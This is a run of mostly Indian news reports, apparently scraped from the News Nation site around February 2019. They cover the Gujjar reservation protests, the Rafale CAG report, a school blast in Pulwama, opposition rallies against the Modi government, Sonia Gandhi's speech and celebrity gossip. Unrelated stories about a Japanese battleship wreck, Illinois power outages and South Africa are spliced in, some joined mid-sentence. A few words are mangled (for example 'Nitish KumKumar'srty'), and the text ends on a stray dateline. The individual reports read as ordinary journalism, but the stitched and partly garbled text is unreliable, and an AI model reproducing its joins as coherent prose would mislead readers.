The statement on the objective and reasons of the bill stated that the five castes are most backward and require five per cent separate reservation. It also mentions that the central government recently passed the constitution amendment bill and the limit of 50 per cent reservation was increased.

Gujjar leaders said they want a concrete proposal on the matter. Gujjar leader Kirori Singh Bainsla and his supporters blocked the railway track in Sawai Madhopur district on Friday.

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

The Rajasthan government tabled bills on the Gujjar community's demand for an additional four per cent reservation as well as on 10 per cent reservation for economically weaker sections for government jobs and educational institutions, on Wednesday. Five communities namely Banjara/Baldiya/Labana, Gadiya Lohar/Gadoliya, Gujjar/Gurjar, Raika/Rebari/Debasi and Gadariya/Gadri/Gayari will benefit from this move.

The Gujjar stir had crippled the rail network in Rajasthan as agitators blocked roads and railway tracks. Every day for the past week, several trains were cancelled or diverted in the Sawai Madhopur district of the state. On Tuesday, the district collector had issued a notice to Gujjar leader Kirori Singh Bainsla asking him to vacate railway tracks. The sit-in had affected the movement of over 300 trains through the region so far. Amid the protests, the Rajasthan government conducted meetings throughout Tuesday at the state secretariat to discuss the quota issue with ministers and other Congress leaders.

At present, the Gujjar community in Rajasthan have 1 per cent reservation under the Most Backward Classes (MBC) within the 50 per cent legal limit. The demand for separate five per cent reservation for the Gujjars was struck down by the Rajasthan High Court in 2017. The state government has moved the Supreme Court against the Rajasthan HC order. Currently, reserved category has 49 per cent in Rajasthan including 21 per cent OBC, 16 per cent SC and 12 per cent ST. If Gehlot government bring another bill on Wednesday then it could be challenged again. Hence the Gurjars have been demanding 5 percent reservation with an amendment in the constitution so it does not face any legal hurdle. Notable the Modi government recently gave 10 percent reservation to economic weaker section (EWS) by amending the constitution. Gujjars have argued that the 10 per cent reservation announced by the Centre also exceeds the 50 per cent reservation limit.

On Wednesday, Chief Minister Ashok Gehlot reiterated that the agitating Gujjar community members vacate the railway tracks and come forward to hold dialogue. He said the state government will do whatever it possibly can to address their issues and they should raise their demand before the Centre.

I want to appeal to the community members to hold talks. Whatever will be possible at the state governments level will be done. They should also raise their demand before the Centre, Gehlot told reporters in Jaipur.

He said that the one per cent reservation the community was getting at present was because of the decision taken by the former Congress government led by him. Several trains have been cancelled, many diverted. It is a loss for the country and its economy. People are suffering and I would appeal them to hold talks, the chief minister said.

Bainsla, who along with his supporters began the indefinite sit-in on railway tracks in Malarna-Dungar of Sawai Madhopur on Friday evening, has so far refused to back off.

We will not move from the tracks unless the announcement is made. There is only one demand, that is five per cent reservation, Bainslas son Vijay Singh said.

(With PTI inputs)

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

A fire broke out in a godown near Sardar Patels Statue of Unity in Gujarats Kevadia district last night. Three fire engines were pressed into action and the fire was doused within couple of hours. According to new agency ANI, no casualties were reported in the incident. The worlds tallest statue was inaugurated by Prime Minister Narendra Modi on October 31st last year. The Statue of Unity has surpassed the world record of the Giant Buddha of Leshan statue in China. On day 1 after the inauguration, record 27,000 people had visited the memorial. The state government had to issue an advisory for the visitors.

The statue, built on an islet near the Sardar Sarovar Dam in Kevadiya, at 182 metres is the tallest such structure in the world. With the capacity of the high-speed lift which takes tourists to the viewing gallery inside the statue being 5,000 persons per day, the state government asked people to plan their trip to the memorial keeping this aspect in mind. The viewers gallery inside the statue is at a height of 135 metres and can accommodate up to 200 persons at one time. The government statement also informed visitors that the memorial remains closed every Monday for maintenance.

If not for prompt action by teh fire department, the Tuesday night fire could have affected the memorial.

Here are some more interesting figures about the Statue of Unity:

1. 1,700-tonne bronze used to make the statue

2. 1,850-tonne bronze used in the outer structure of the statue

3. 1,80,000 cubic meter use of concrete and cement used

4. 6,500 tonne of steel used

5. Constructed in an area of 22,000 sqmt

6. The statue is capable of withstanding a 6.5 intensity earthquake

7. The speed of -180 kilometers per hour will not be damaged by air

8. Larsen & Toubro given the contract for Rs 2,989 crore

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Amid uproar over Rafale fighter jets deal by the Opposition led by the Congress, three jets landed in Bengalurus Yelahanka Air Force Station to participate in Air India Show to be held from February 20 to 24. French aerospace major Dassault Aviation is set to deliver 36 Rafale jets multi-role medium combat aircraft to the IAF in fly-away condition from September 2019 onwards. The 12th edition of the 5-day biennial air show will be held at IAF's Yelahanka base on the city's northern outskirts as before.

Three #Rafale fighter jets have arrived in India for @AeroIndiashow. Watch exclusive video



More updates: https://t.co/WV7lrcO9XU pic.twitter.com/YmtekChNqD  News Nation (@NewsNationTV) February 13, 2019

The state-run Hindustan Aeronautics Limited (HAL) will play a major role in organising the air show, instead of the Defence Exhibition Organisation which has been hosting the event over years, he added. The advanced fourth generation fighter Rafale will partly replace the ageing Russian-built MiG-21 jets the IAF is phasing out due to their obsolescence.

On Wednesday, the much-awaited CAG report said the Rafale deal signed by the Modi government to procure 36 fighter jets from France's Dassault got 2.86 per cent cheaper price than what was negotiated during the previous UPA regime in 2007.

Without disclosing pricing details in absolute terms, the Comptroller and Auditor General (CAG) also said the deal was 6.54 per cent expensive in terms of engineering support package and performance-based logistics for the Indian Air Force, while the training costs has got 2.68 per cent expensive than the 2007 offer. The CAG also flagged the drawbacks of settling for a 'Letter of Comfort' rather than a sovereign guarantee by the French government and said Dassault benefitted due to the absence of such guarantees.

The report, however, was silent on the issue of offset partners, which has been a key point on which the Congress has been attacking Narendra Modi-led government and has been alleging corruption in Anil Ambani's Reliance Group getting one of the offset contracts.

In the 2007 offer of 126 fighter jets, Dassault Aviation was to provide basic training to 26 pilots and 76 technicians at a certain cost. In 2015 deal for 36 Rafale fighter jets, the IAF increased the scope of training to 27 pilots, 146 technicians and two engineers.

The Modi government has been facing a torrent of attacks by Congress and its chief Rahul Gandhi over the fighter jet deal. Gandhi on Monday had dubbed the CAG report on the Rafale deal as "Chowkidar Auditor General" report.

"That CAG report is a worthless report. I would term it as a 'Chowkidar Auditor General Report'. It is Narendra Modi's report, written for the chowkidar, on behalf of the chowkidar, for the chowkidar, by the chowkidar," he had said on Monday.

Following the report becoming public on Wednesday, Union Finance Minister Arun Jaitley hit out at the main opposition party.

"It cannot be that the Supreme Court is wrong, the CAG is wrong and only the dynast is right. Satyameva Jayate" - the truth shall prevail. The CAG Report on Rafale reaffirms the dictum," Jaitley tweeted.

(With PTI inputs)

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

At least 10 students were injured after a blast hit a school in Jammu and Kashmirs Pulwama today. News Nation has learnt that students of class 10 were injured in a blast inside private school in Narbal area of Kakpora in Pulwama district.

Blast occurred inside the private school Falahi-i-Milat at Narbal, Kakpora. The local police has reached the spot. It is still not clear whether it was an IED blast or not. The injured students have been shifted to PHC Kakpora for treatment. Generally, at this time of the year, almost all school in the state remain closed for winter vacations. Hence, it is not known whether the school was open or some special classes were being held for these students.

In the restive state, the schools have remained relatively unaffected, with terrorists almost never targeting the educational institutes. However, in 2016, the trend changed when as many as 20 schools were set ablaze in span of two months. In 2016, a Jawahar Navodya Vidyalaya school in Aishmuqam and a government school in Anantnag were set on fire within 24 hours. There are over 10 lakh students studying across various schools in Jammu and Kashmir.

Recently, the Jammu and Kashmir's administration set up a panel for implementation of saturation of toilets, drinking water and electricity in government schools in the state. The General Administrative Department (GAD) has ordered constitution of district-level committee on this issue.

"Sanction is hereby accorded to the constitution of a district-level committee for achieving 100 per cent, saturation of toilets, drinking water and electricity in the government schools in the state," Commissioner-Secretary to general administrative department (GAD), J-K, Hilal Ahmad said. A five-member committee will be headed by the district development commissioner as chairman.

The committee will prepare a detailed project report after undertaking actual assessment of deficient schools on the minimum requirement basis. The panel will monitor the works executed by different agencies, including public health engineering, power development department and engineering wing of the School Education Department and to ensure completion of works by February 28.

It will also work out requirement of additional funds for providing electricity, drinking water connections to the school.

(With agency inputs)

For all the Latest India News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Former Bigg Boss contestants Sreesanth and Dipika Kakars relationship has been the talk of the town for a while now. The two were seen standing by each other and their bond was appreciated by one and all. But looks like their relationship has gone kaput. According to India Forums report, Sreesanth has unfollowed Dipika on Instagram.

Confirming the news, Sreesanth told the website, "Yes, I have unfollowed Dipika because she unfollowed my wife. And the one who doesn't respect my wife will not be respected by me. My wife is my Shakti and support. Dipika's fans used to abuse my wife and kids, she should have told them not to do that but she didn't."

Adding further, he went on to say, ''Like how I told my Sreefam not to abuse her and they stopped. Dipika will be my sister because I respect that relationship but I won't discuss this with her. I am sharing this with you, so that, people know the actual reason behind unfollowing Dipika.''

Rishte kaise judd jaate hain wo zaroori nahi hota.....wo dil se jude rahein wo zaroori hota hai....@sreesanth36 @Bhuvneshwarisr1 lovely meeting you had a blast.. aur uspe biggboss12 ke kisse.. @ms_dipika pic.twitter.com/aRskRTaxtV  Shoaib Ibrahim (@Shoaib_Ibrahim1) January 7, 2019

Well, what do you guys have to say about this? Let us know in the comments section below.

Speaking about her bond with Sreesanth, Dipika had earlier told PTI, "This was a relationship that got stronger and deeper with time. 'Bhai' has been aggressive but I never saw him wrong. Had he been wrong, people, including the housemates, would not have loved him."

"There was a good side to him. His aggression did fire back on him, but that doesn't mean he is a wrong person at heart. We both were there for each other, providing strength," she had added. Sreesanth and Dipika met for the first time in the BB 12 house. The two became inseparable and developed a sweet sibling bond.By about 4 p.m. about 12,000 ComEd customers were without power throughout much of northern Illinois, with more than 68,000 customers having had their power restored, according to the utility. ComEd had about 400 crews in the field, restoring power and preparing for the wind storms, said Marrietta Harrison, a spokeswoman for the utility.Sydney :

Meghan Markle is being 'vilified and chased' by the tabloid press in the same way the late Princess Diana was, Hollywood superstar George Clooney has told an Australian magazine. Clooney, a close friend of Markle and husband Prince Harry, warned of "history repeating" itself with the increasingly feverish media attention on the expectant royal couple.

"I do want to say, they're just chasing Meghan Markle everywhere," Clooney told WHO magazine during an interview in Los Angeles.

"She's a woman who is seven months pregnant and she has been pursued and vilified and chased in the same way that Diana was and it's history repeating itself," he added.

"We've seen how that ends." Diana died in a car crash in a Paris tunnel in 1997 while being chased by paparazzi on motorcycles.

Britain's famously aggressive press at first welcomed Markle into the royal fold when she and Harry tied the knot at a lavish Windsor Castle wedding last May, in a ceremony attended by Clooney and his human rights lawyer wife Amal.

The mixed-race actress was credited with breathing fresh life into a monarchy sometimes labelled stale and out of touch.

But coverage has turned increasingly critical -- despite the impending birth of the couple's first child -- with reports of palace sniping over her manner.

Tabloid newspapers have also luxuriated in stories about Markle's fractured American family.

Last week one paper published a highly personal letter they said was written by Markle to her estranged father in which she begged him to "stop lying....stop exploiting my relationship with my husband".

Clooney, who was promoting his new TV series "Catch-22", slammed the invasion of her privacy.

"I can't tell you how frustrating that is, just seeing them broadcast a letter from a daughter to a father, she's getting a raw deal there and I think it's irresponsible and I'm surprised by that," he said.

For all the Latest Entertainment News, Hollywood News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Last March, Irrfan Khan left the entire nation in shock when he shared that he has been diagnosed with high-grade cancer. The actor went to London for his treatment and had visited India in November to celebrate Diwali with his family. Now as per a report in Pinkvilla, the actor is back in town and is undergoing medical treatment at Kokilaben Dhirubhai Ambani Hospital in Mumbai's Andheri area.

The reports further suggest that the actor is also planning to take a quick trip to Tonk as he hails from there. He will reportedly begin the shoot of Hindi Medium 2 soon. The film is a sequel to the 2017-released Hindi Medium. The film also starred Saba Qamar, Deepak Dobriyal and Dishita Sehgal in pivotal roles. The filming on the sequel was scheduled to begin in August last year. However, Irrfans treatment in the US caused the delay.

Irrfan sent a major wave of shock amongst all his friends and fans when he disclosed about his neuroendocrine tumour diagnosis. The actor had shared the grim news through a statement, "Learning that I am suffering from NeuroEndocrine Tumour has been tough but the love and strength of people around me have brought me to a place of hope."

Speaking about the repercussions of suffering from the disease, the actor had shared, ''It has put me in a rapture state. Initially, I was shaken. I didn't know. I was very, very vulnerable. But slowly, there is another way to look at things that is much more powerful and much more productive and much more healthy and I just want people to believe that nature is much more trustworthy and one must trust that.''

Irrfan was last seen in the film Karwaan alongside Dulquer Salmaan and Mithila Palkar.

For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps.New Delhi:

Ranveer Singh's bent as an actor skyrocketed with the role of Khilji in Padmaavat, although that is not to say that the Gully Boy star had not acted in many incredible roles before. Taking on the challenging role of the dark, antihero, Khilji, a personification of the historic invader during the times of the Delhi Sultanate, Ranveer Singhs impressive characterisation of Khilji sent chills down the spine among movie-goers.

Hence, it is without asking that fans would love to see the versatile actor in a similar role as Khilji. Looking forward to yet another of his interesting movie, Gully Boy, Ranveer spoke about him taking a role similar to Khilji and more. When asked if he would be willing to play a character as dark as Khilji, the actor according to Filmfare had this to say, Probably not. Not anytime soon, not on the periphery. I cant go back there. Touchwood, I am very blessed that right now, I am going through a very good time. I am very happy and happily married. I am being showered with love and affection from my wife. I am in a very warm and fuzzy, happy space in life.

Ranveer added, To be honest, when Khilji was offered to me, I was happy even then. But, I was prepared to go down that rabbit hole. Now, I am not prepared to do that again because having done that before, I know how deep and dark it is. I dont want to do that? Not anytime soon and hopefully never. I will do this mercy on myself and not go down that path again,.

The portrayal of a dark character must have taken a toll on the versatile actor, but we very soon hope to see Ranveer in another yet completely different character as he has always done. His much-anticipated movie, Gully Boy with Alia Bhatt hit the big screen tomorrow.

For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps.New Delhi:

UPA chairperson Sonia Gandhi and Congress president Rahul Gandhi addressed a general body meeting of Congress Parliamentary party on Wednesday in New Delhi. In the meeting that comes a few months ahead of the 2019 Lok Sabha elections, Sonia Gandhi made a blistering attack on the Narendra Modi government. Sonia Gandhi hailed the partys victories in the Assembly elections in Rajasthan, Chhattisgarh and Madhya Pradesh and said that these gave Congress new hope and the opponents who were earlier projected as invincible. Appreciating her son and Congress president Rahul Gandhi, the UPA chairperson said, He has worked tirelessly and also reached out to other political parties who share our vision of India.

Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech - the most basic of all freedoms - has been sought to be curtailed and silenced, the UPA chairperson said. Bluff, bluster and intimidation have been the governance philosophy of the Modi government. Truth and transparency have been brazenly tossed aside, Sonia Gandhi alleged. There is an all-pervasive atmosphere of fear and strife across the country, she claimed.

Here is the full text of Sonia Gandhis speech:

Congress President Rahul ji,

Dr. Manmohan Singh ji,

Kharge ji,

Ghulam Nabi Azadji,

Members of the CPP Executive,

Friends



I welcome you all to this meeting.



The 16th Lok Sabha will very soon pass into history.



The last five years have been a time of unprecedented economic stress and social strain for our country.



The very foundations of our democratic republic, of our secular republic have come under systematic assault by the Modi government. The very values, principles and provisions of our Constitution have come under continued attack by the Modi government.



Institutions have been subverted. Political opponents have been hounded. Dissent has been suppressed. Freedom of speech - the most basic of all freedoms - has been sought to be curtailed and silenced. People with opinions different from the ruling establishment have been victimized.



There is an all-pervasive atmosphere of fear and strife across the country. The North-East is burning. Alienation in Jammu & Kashmir has scaled new heights. Dalits, adivasis and minorities are being targeted. Farmers are facing unprecedented distress. The youth is staring at the abyss of despair with jobs being destroyed on a scale that has never happened before.



Bluff, bluster and intimidation have been the governance philosophy of the Modi government. Truth and transparency have been brazenly tossed aside.





Parliament itself has been immeasurably weakened. Debate and discussion are muzzled. The institution of Standing Committees has all but disappeared. The route of the Money Bill, described by one Supreme Court judge as a fraud on the Constitution, has been resorted to ever so often to escape legitimate scrutiny in both Houses.



There is now near-universal recognition that the mandate of 2014 has been betrayed. I look upon this slightly differently. That mandate itself was obtained by deceit and dishonesty, by misleading the people. It was inevitable that it would be found out and exposed sooner or later. That is exactly what has happened.



We go to the forthcoming Lok Sabha polls with renewed confidence and resolve. Our victories in Rajasthan, Chhattisgarh and Madhya Pradesh have given us new hope. Our opponents were earlier projected as being invincible. The Congress President took them head-on, mobilizing and motivating lakhs of our workers who, with him, gave their all. We won in what were believed to be their strongholds. That demonstrated our resilience.



The people of our country are wise. They know that jumlabaazi is no substitute for sensitive and responsive governance. They know that imagery, stage management and marketing gimmicks can be no substitute for responsible and accountable governance. Above all, they have seen through and experienced the results of the many lies told to them.



But we cannot be complacent or take anything for granted. Our political adversaries have unlimited resources at their command. They will have no scruples and will stoop to anything to ensure that our forward march is halted. We will not allow them to succeed. We will confront them, we will fight them with all the vigour at our command and more.



We must remember that unity, self-sacrifice and self-discipline are vital at all times. They are of even greater importance today - at this crucial moment of our nations history.





Friends, these last five years have been very trying times. But all of you MPs in both Houses, have done the best possible under the most difficult of circumstances. I know it has not been easy because democratic spacewhich is ours by right-- has been deliberately denied to us. But we have persevered and for that I congratulate all of you, senior and younger colleagues. I also want to say that Khargeji deserves our special thanks - for his contributions as leader of the Party in the Lok Sabha. He stood like a rock for his right to be heard in the face of clear bias. Ghulam Nabi Azad and Anand Sharma too as Leader and Deputy Leader of Opposition in the Rajya Sabha.



Friends, our new President has brought fresh energy into our organization. He has put together a team which blends experience and youth well. He has worked tirelessly. He has also reached out to other political parties who share our vision of India, who share our agenda for faster economic growth with full social justice, who share our agenda for the welfare of kisans and khet-mazdoors, women and youth, workers in the organized and unorganized sector. I am sure he will share with you his thoughts.



Before I close, I want to wish you success in the coming elections, may you return victorious. Finally, allow me to express my gratitude to all of you for the support you have extended to me personally these last five years. I have derived strength and succour from the goodwill, understanding and the commitment of each and every one of you. It is you, it is our great party, it is our precious legacy that has sustained me and that will continue to inspire me.



Thank you.



Jai Hind!Lucknow:

In a major development ahead of 2019 Lok Sabha polls, Shivpal Yadav's Pragatisheel Samajwadi Party-Lohia (PSP-L) has reportedly formed a pre-poll alliance with the Congress party in Uttar Pradesh. According to reports, an announcement in this regard is likely to be made on Thursday after a proposed meeting with Priyanka Gandhi Vadra, Congress general secretary in-charge of Uttar Pradesh east, at partys office in the state capital. The announcement is likely to take place during Priyanka's press conference today.

Shivpal, who has been criticising the SP-BSP pre-poll alliance in the state, has time and again stated that his part is ready to join hands with the Congress in Uttar Pradesh for 2019 Lok Sabha Elections.

There have been no talks with the Congress about the alliance yet. Congress is also a secular party and if it approaches us to defeat the BJP, we will lend our support, Shivpal Yadav had said earlier.

Yadav has also showed interest in forming an alliance with any secular party including the Congress to oust the BJP out of power in 2019 polls. "No alliance can defeat the BJP without the support of the PSPL, Bahujan Mukti Party and our other alliances. We are ready to form an alliance with other secular parties to keep the BJP out of power," he said.

PSP-L chief Shivpal Yadav had earlier announced that he will contest the Lok Sabha elections from Firozabad constituency. "The people of Firozabad want me to contest the Lok Sabha elections from there and so I will contest from Firozabad," Yadav said and asserted that the government at the Centre could only be formed with support from PSP-L.

On SP-BSP alliance, Yadav recalled how the BSP had given "shocks to the SP" and formed government with the BJP on three occasions. "A party which called Mulayam Singh Yadav a 'goonda' and me 'durachari', forging an alliance with such a party is an insult to both father and uncle," Shivpal said.

"This alliance is a thugbandhan and is for money. It is possible that money have been taken before forging this alliance," he added.

Yadav had said that he did not want any high-ranking designation in the Samajwadi Party, nor a minister's post. "I only wanted respect, but I was separated (from the party) as part of a conspiracy. How can we trust a person (Akhilesh Yadav) who has deceived his father and uncle? I had to form the Pragatisheel Samajwadi Party-Lohia out of compulsion."New Delhi:

Congress general secretary of Uttar Pradesh east Priyanka Gandhi Vadra seemed to downplay the questioning of her husband and businessman Rober Vadra by the Enforcement Directorate on Tuesday and said, "These things will keep going on. I am doing my work." Priyanka flew back to Lucknow in the evening after spending the entire day with her husband Robert and mother-in-law Maureen Vadra, who are being interrogated by the ED in a Bikaner land scam case. Priyanka is on a three-day visit to Lucknow to interact with party workers after assuming charge as Congress general secretary.

"I'm learning a lot about the organisation, its structure and the changes that need to be made. I'm getting their (Congress workers) views on how to fight election, according to them," she said, emerging from a party meeting late last night as quoted by news agency ANI.

AICC general secretary Priyanka Gandhi Vadra dropped Vadra and his mother off at the ED office, taking time off from her four-day Uttar Pradesh trip in a show of solidarity with her husband. Congress workers shouted slogans when Vadra arrived for the questioning and when he left for his hotel at night.

The interrogation lasted for nearly nine hours. He has given answers to the questions from the ED officers. He will once again appear before the ED zonal office in Jaipur at 10.30 am, Vadra's lawyer Suman Jyoti Khaitan told reporters. Vadra's lawyers said his mother has not been called for questioning as she is not keeping well. She has, however, assured full cooperation in the probe, they said. On Facebook, Vadra accused the Narendra Modi government of being vindictive ahead of the Lok Sabha elections, and putting his mother through harassment.

This was Vadra's first appearance before the ED in Jaipur in connection with charges of money laundering through land deals made by a company linked to him. Vadra was asked by the Rajasthan High Court to cooperate with the agency. His Jaipur appearance follows soon after he faced ED questioning for three days in Delhi on a different set of charges relating to property allegedly purchased in London.



New Delhi:

The situation in the country is worse than an emergency, West Bengal Chief Minister Mamata Banerjee said on Wednesday and asserted that she would fight along with the Congress and Left at the national level despite their bitter rivalry in the state. Democracy has become 'Namocracy' under PM Modi-led NDA government at the Centre, said Trinamool Congress chief.

We will fight collectively in coming days. Whatever fight we have with the Congress, CPM will be limited to state. We will fight together at the national level. Let them fight against me, I don't mind. For the interest of the nation, I'm ready to sacrifice my life/party, the West Bengal chief minister said while addressing a mega rally organised by the Aam Aadmi Party (AAP) at the Jantar Mantar in the national capital.

"Opposition parties will fight unitedly at the national level," she asserted.

She also attacked the Centre over the CBI's failed bid to question Kolkata police commissioner Rajeev Kumar at his home, saying she had not seen a government that "stooped so low".

"It is Prime Minister's last day as an elected leader in Parliament today," she said after the Lok Sabha adjourned sine die. "Everyone is afraid of Gabbar Singh. There are two of them -- (Prime Minister Narendra) Modi and (BJP chief Amit) Shah," she added.

A host of opposition leaders including TDP chief N Chandrababu Naidu, National Conference's Farooq Abdullah, Nationalist Congress Party's Sharad Pawar and CPI(M)'s Sitaram Yechury spoke during the rally.Bihar:

Former Bihar Congress president Ram Jatan Sinha on Tuesday joined the ruling Janata Dal (United) and lavished praise on Chief Minister Nitish Kumar, who heads the party. After joining the JD(U) at an auditorium in presence of top leaders like national vice president Prashant Kishor and state unit chief Vashishth Narayan Singh, Sinha was felicitated at the party office by Kumar. Sinha is not an ordinary leader and his joining our party will have immense consequences, Kumar told reporters on the occasion.

Today, we see doors of political parties are closed on talented young people, which is regrettable. Our party, however, is different as it is not controlled by a family.

And, therefore, there is hardly any social segment which is not duly represented in the JD(U), the chief minister said.

Earlier, at the party function in Bapu Sabhagar auditorium, Sinha had said Nitish Kumar is a leader who thinks of Bihar's development all the time. And the state has prospered under his leadership since he has eradicated social strife along the lines of caste and religion.

A known baiter of Lalu Prasad, Sinha also took potshots at the RJD supremos heir apparent Tejashwi Yadav, whom he did not mention by name but remarked people without any formal education worth the name have the temerity to raise questions on the state of universities in Bihar.

Sinha had severed his ties with the Congress ahead of the 2015 Assembly polls which he unsuccessfully contested as an Independent candidate.

A three-time MLA from Makhdumpur assembly segment in Jehanabad district, now a reserved constituency, Sinha had served as the BPCC president in 2003.

Speculations are rife that he may be fielded by the JD(U) from Jehanabad Lok Sabha segment, which has a sizeable population of Bhumihar community to which Sinha belongs.

Sinha is the second former state unit chief of the Congress to have joined the JD(U) in a year. In February last year, three Congress MLCs including former BPCC president Ashok Choudhary had crossed over to Nitish KumKumar'srty.

Besides, another former state Congress president Mehboob Ali Kaiser is with Ram Vilas Paswans Lok Janshakti Party, a partner in the states ruling alliance.New Delhi:

Top Opposition leaders, including Congress president Rahul Gandhi, Andhra Pradesh Chief Minister N Chandrababu Naidu, his West Bengal counterpart Mamata Banerjee, Delhi CM Arvind Kejriwal and National Conference chief Farooq Abdullah, met Nationalist Congress Party president Sharad Pawar at his residence over dinner on Wednesday, hours after they spoke during a rally of opposition parties organised by the Aam Aadmi Party at Jantar Mantar in Delhi on Wednesday.

"We had a very constructive meeting. We agreed that the principal target for all of us is to fight against the assault on institutes being carried out by the BJP," said Gandhi said after the meeting.

"We agreed to start a conversation about a common minimum programme and we have a commitment that we are all going to work together to defeat the BJP," he added. Banerjee, who was also present at the meeting, said: "We'll work together at the national level. We'll have a common minimum agenda. We'll have a pre-poll alliance."



Speaking at the rally, Kejriwal launched a scathing attack on Prime Minister Narendra Modi, alleging he is trying to tear apart the Constitution and destroy democracy. On a day when the CAG report on the 2015 Rafale fighter deal was tabled in Parliament, Kejriwal said Modi should speak the truth on the agreement between India and France because, as prime minister, he is accountable to the nation.

"Modi is trying to tear apart the Constitution. He is destroying democracy," he said at a mega rally of opposition parties organised by his Aam Aadmi Party at Jantar Mantar in Delhi.

Referring to the controversy over the visit of a number of CBI officials visiting the Kolkata police commissioner's residence in connection with its probe into chit-fund cases, Kejriwal said sending "40 CBI officers" from Delhi was an attack on the elected government of West Bengal.

The rally was organised nearly three weeks after Banerjee hosted Opposition leaders in Kolkata in a similar show of strength on January 19.

Delhi: Andhra Pradesh CM N Chandrababu Naidu, NC chief Farooq Abdullah, West Bengal CM Mamata Banerjee, Delhi CM Arvind Kejriwal at NCP chief Sharad Pawar's residence pic.twitter.com/b19jwtfCuW  ANI (@ANI) February 13, 2019

Banerjee said the situation in the country is worse than an emergency, and asserted that she would fight along with the Congress and Left at the national level despite their bitter rivalry in the state. Democracy has become 'Namocracy' under PM Modi-led NDA government at the Centre, said Trinamool Congress chief.

We will fight collectively in coming days. Whatever fight we have with the Congress, CPM will be limited to state. We will fight together at the national level. Let them fight against me, I don't mind. For the interest of the nation, I'm ready to sacrifice my life/party, the West Bengal chief minister said while addressing a mega rally organised by the Aam Aadmi Party (AAP).

"Opposition parties will fight unitedly at the national level," she asserted.

CPI leader D Raja said the Constitution is under attack under Narendra Modi as prime minister and asserted that Parliament has been undermined and bypassed and its role has been minimized under Modi.

"Can you allow a Germany-like situation where Hitler overpowered Reichstag(German parliament)," he said.

"BJP in power is a threat to constitution and democracy. It must be defeated," he added.

CPI(M) leader Sitaram Yechury alleged that BJP is professing politics of 'Dushashan' by pitting brothers against brothers. "There is need to replace this government for a better India. This chowkidar needs to be removed to save the country.

"BJP is like Kaurava Sena but the Pandavas (Opposition) will defeat them and save the country," he said.

Interestingly, minutes before Mamata Banerjee arrived, the two left leaders moved away from the stage. Other senior leaders, including Samajwadi Party's Ram Gopal Yadav, AAP's Sanjay Singh, Nationalist Congress Party's Sharad Pawar and LJD chief Sharad Yadav were also present at the rally.

(With PTI inputs)New Delhi:

Samajwadi Party president Akhilesh Yadav is likely to visit Prayagraj on Thursday, according to sources, two days after former Uttar Pradeh chief minister on Monday alleged that he was being stopped at Chaudhary Charan Singh International Airport in Lucknow by the police in a bid to prevent him from visiting the town to attend an oath-taking ceremony at Allahabad university.

"The government is so afraid of oath ceremony of a student leader that it is stopping me at the airport to prevent me from visiting Allahabad," Akhilesh said in Hindi on Twitter on Tuesday.

He also tweeted photographs in which he was seen talking to police officers inside the airport. Yadav had to attend an oath-taking ceremony at Allahabad university.

Uttar Pradesh Chief Minister Yogi Adityanath, however, maintained that the step was taken due to law and order situation. The Chief Minister claimed that the situation would have deteriorated had Yadav visited the university campus. SP should refrain from its anarchist activities. Allahabad University requested that Akhilesh Yadavs visit may create law & order problem because of the dispute between student organisations. Hence the government took this step, Yogi was quoted as saying by news agency ANI.(CNN)  The first Japanese battleship sunk by U.S. forces during World War II has been found off Guadalcanal, the largest of the Solomon Islands and the location of fierce battles during the Pacific War.

The battleship Hiei was discovered at a depth of 1,000 meters (3,280 feet) in January by the late Microsoft co-founder Paul Allen's expedition team aboard research ship R/V Petrel. For decades, Allen committed himself to locating famous shipwrecks, leveraging sonar scanning technology and underwater cameras to confirm their visuals and condition.

Until this year, the Hiei's exact whereabouts and final moments had remained a mystery. But RV Petrel used autonomous underwater vehicles to detect the battleship, which was found upside down.

"This is a really important moment in naval history," Kazushige Todaka, the director of the Kure Maritime Museum in Hiroshima, told CNN.

"The discovery revealed where exactly Hiei sank and how an on-board explosion potentially split her in two."

Pearl Harbor attack escort ship

Hiei was built in 1914 at the Yokosuka Naval Arsenal near Tokyo.

It was part of a fleet of 11 Japanese battleships active during World War II, according to Takeshi Kubo, a curator at the Kure Maritime Museum.

Modeled using British technology, the 222-meter-long (728 feet) warship was equipped with eight 14-inch guns.

Hiei patrolled off the Chinese coast during Word War I and was retrofitted twice  once in 1929 and a second time in 1936.

At 31,000 tons, the Hiei was half the size of Imperial Japanese Navy battleships Musashi and Yamato  which boasted the largest naval guns ever fitted on a warship at 18 inches in diameter.

Hiei formed part of the escort force for the aircraft carriers that launched the attack on Pearl Harbor, Hawaii, on December 7, 1941, bringing the U.S. into World War II. It sank on November 14, 1942  a day after suffering severe damage after engaging American cruisers and destroyers alongside sister ship Kirishima in the Battle of Guadalcanal.

With damage to its steering and power generators leaving it open to the attacks of U.S. dive and torpedo bombers, the crew abandoned ship. Todaka said that of the 1,500 crew members on board, 188 perished during the battle.

Remembering the past

Hiei's discovery comes after similar finds from Allen expeditions.

On March 2, 2015, Allen's expedition crew announced that it had located the Musashi at a depth of about 1,000 meters (3,280 feet) in Philippine waters.

The U.S. Navy sank the Musashi during the Battle of the Sibuyan Sea, part of the Battle of Leyte Gulf in the central Philippines.

"When these battleships are found they provide a moment for us to reinforce the importance of commemorating past events and maintaining peace," Todaka said.

This story was first published on CNN.com "Wreck of Japanese World War II battleship found off Solomon islands"South Africa: Portfolio committee to decide McBride contract

This story has been published on: 2019-02-13. To contact the author, please use the contact details within the article.

President Cyril Ramaphosa has welcomed the outcomes of the Presidential Health Summit 2018, saying the deliberations will inspire action towards the creation of a healthier nation. The country is on a path of introducing universal health coverage to cater for all citizens, despite financial standing. [read more: https://www.sanews.gov.za... See moreNew Delhi:

